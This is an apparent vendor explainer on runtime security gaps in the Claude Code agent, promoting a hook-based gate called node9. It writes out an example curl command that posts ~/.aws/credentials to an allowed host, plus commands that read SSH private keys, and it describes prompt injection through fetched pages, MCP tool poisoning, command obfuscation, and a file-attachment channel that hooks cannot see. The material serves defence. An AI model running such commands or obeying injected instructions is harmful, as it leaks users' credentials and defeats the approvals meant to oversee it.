Learn

Claude Code Security: What the Built-in Controls Do Not Cover

Claude Code ships permission prompts, allow and deny rules, and hooks. They decide whether an action runs. They do not look at what it carries. This page maps the gap, names the five ways it is exploited, and shows the one channel no tool on the market can see.

9 min readIn depth

Claude Code has a shell, your credentials, and a set of MCP servers piping outside content directly into its context. That combination is the reason it is useful. It is also the entire attack surface, and the two cannot be separated.

The uncomfortable part is not that an agent can be tricked. It is that a tricked agent does not look different. Reading ~/.aws/credentials is what it does when you ask it to set up an environment. Running curl is what it does when you ask it to test an endpoint. When those two actions come from a poisoned issue body instead of from you, nothing on your screen changes.

Two different things are called "Claude Code security"

Worth separating before anything else, because they are solved by different tools and people conflate them constantly.

The code the agent writes. Static analysis of your source, looking for injection flaws and unsafe dependencies before you merge. Anthropic ships a review feature for this, and every SAST tool you already run covers it too.

What the agent does while it runs. The agent has shell access, live credentials, and untrusted text arriving in its context from web pages, issues, and MCP responses. Nothing in a static scan watches that.

This page is about the second one. A scanner reading your repository has no opinion about a curl your agent runs at 2am with an API key in the body.

What Claude Code already gives you

Give it credit, because the baseline is real and better than most agents ship:

  • Permission prompts. A tool call you have not pre-approved stops and asks.
  • Allow and deny rules in settings.json, matched per tool and per command pattern.
  • Hooks. PreToolUse fires before a tool runs and can allow, ask, or deny. PostToolUse fires after. UserPromptSubmit fires on what you type.

That last one matters more than it looks. Hooks are a real enforcement point, not advisory. We verified with a standalone probe, not our own product, that a PreToolUse hook returning ask still renders the approve and deny prompt under claude --dangerously-skip-permissions, and that deny still blocks. Hooks run in every permission mode. That behaviour is undocumented, so treat it as a fact about today's Claude Code rather than a guarantee.

The gap: approval answers "whether", never "what"

A permission prompt decides whether a tool call runs. It does not look at what the call carries.

curl -X POST https://api.github.com/repos/acme/app/issues \
  -d @/home/you/.aws/credentials

If you approved curl to api.github.com once, this passes. The destination is on your allowlist, the verb is one you use fifty times a day, and the payload is a file you never mentioned. A domain allowlist has no opinion about a request body.

The same shape appears everywhere once you look for it:

The controlWhat it checksWhat walks past it
Permission promptdid you approve this toolthe arguments you did not read
Command allowlistthe verbthe file the verb opens
Domain allowlistthe destination hostthe secret in the body
Static scanyour committed sourceanything that happens at runtime

Five ways this gets exploited

Each one routes around user approval, because the user already approved the agent.

1. Secret exfiltration through an approved destination. The agent reads a credential because reading files is its job, then an outbound request carries it off the machine. The request looks ordinary. In our own measurement of a single developer machine, an agent could reach credentials for cloud, git, npm, and the database without one unusual command.

2. Prompt injection from content the agent fetched. A web page, a GitHub issue, or a dependency README contains instructions addressed to the model. The model has no reliable way to separate data it was given from instructions it was given, so it follows them. This is not a bug with a patch; it is the shape of the technology.

3. MCP tool poisoning. A server hides instructions inside a tool description, or changes a tool's behaviour after you trusted it. You approved the server once. Nothing re-checks it on the next call.

4. Command obfuscation. The verb you allowed is not the verb that runs. base64 ~/.ssh/id_rsa prints the same bytes as cat. A path assembled at runtime, split across a pipe, or hidden behind a wrapper reads as something else to a rule written against text. This is why matching on command strings loses: the attacker writes the string.

5. Committed agent configuration. A .claude/settings.json or a hook script checked into a shared repository installs itself on every teammate's next checkout. No one reviews a settings file in a pull request the way they review code.

The channel no tool on the market can see

This is the section we would rather not write, and it is the reason to trust the rest of the page.

Type an @ followed by a path in Claude Code and the file is attached to your message. It arrives in the session as type: attachment. It never becomes a tool call. No PreToolUse fires, because no tool ran. UserPromptSubmit carries only the prompt text, so it does not see the file either.

We found this the way you would expect. A full SSH private key turned up in a session transcript, and the audit log correctly showed nothing, because nothing had happened that an audit log records. The cause was an @ in the middle of a curl -d @<path> example we were discussing.

The consequence is worth stating plainly: no hook-based tool can gate this channel. Not node9, and not any competitor, because the hook contract does not carry attachments. Anyone who tells you their product covers every path a file can take out of your machine has not tested this one.

The defence is not a product. It is knowing that @ in a message is a file read that leaves no trace, and treating a shared session transcript as something that may contain whatever you attached.

Adding an enforcement layer

Once you accept that approval gates the call and not the contents, the missing layer is one that reads the contents.

npx node9-ai posture        # what is exposed on this machine, no install
node9 agents add claude     # wire the hooks

The second command writes PreToolUse, PostToolUse, and UserPromptSubmit into ~/.claude/settings.json, and wraps the MCP servers listed in ~/.claude.json so their tools pass through the same gate. It is safe to re-run; it repairs a hook an update removed and leaves the rest of your settings alone.

What that gate then does, in the order it does it:

  • Reads the command the way the shell would, not as a string. base64 ~/.ssh/id_rsa prints the same bytes as cat does, and it is refused the same way, because the rule is about the file rather than about the word you typed.
  • Covers both doors. A credential file can be opened through the shell or through the agent's own Read, Grep, and Glob tools. Both reach the same rule.
  • Scans arguments and pasted prompts for secrets and personal data before they leave, including what you paste into the prompt yourself.
  • Refuses with a reason rather than a dead end, so the agent looks for another route instead of stalling.

On a machine we measured, cat ~/.ssh/id_rsa through the live hook was refused in 247ms, and the log for that day showed 23 attempts and 23 blocks.

What this layer does not cover

A page that only sells is a page that will be wrong within a release.

  • Attachments, as above. Out of reach for every tool of this kind.
  • Tool output is observed, not stripped. Claude Code's PostToolUse cannot suppress a result. A secret or an injected instruction inside a tool result is recorded and the session is marked for review on the next risky call, but it has already reached the model.
  • Egress gates destinations, not payloads. Deciding which hosts an agent may reach is a separate control from deciding what may be inside the request. Both matter, and neither substitutes for the other.
  • Nothing here stops you from approving a bad action. The gate raises what reaches you and explains why. A human who clicks yes has decided.

Check your own machine

Two commands, no account, nothing uploaded:

npx node9-ai posture                    # exposure of this machine, about 60 seconds
npx node9-ai scan                       # what your agents have already done

And once a gate is wired, the check that means anything is the one that asks the live path rather than the configuration file:

node9 doctor                            # is the hook actually installed
node9 explain Bash 'cat ~/.ssh/id_rsa'  # the verdict, and the rule that produced it

A configuration file that says a protection is on is not evidence that it is on. Ask the gate, and read the line it marks as the engine verdict rather than the trace above it: the trace models the policy tiers separately and can drift from what the hook enforces.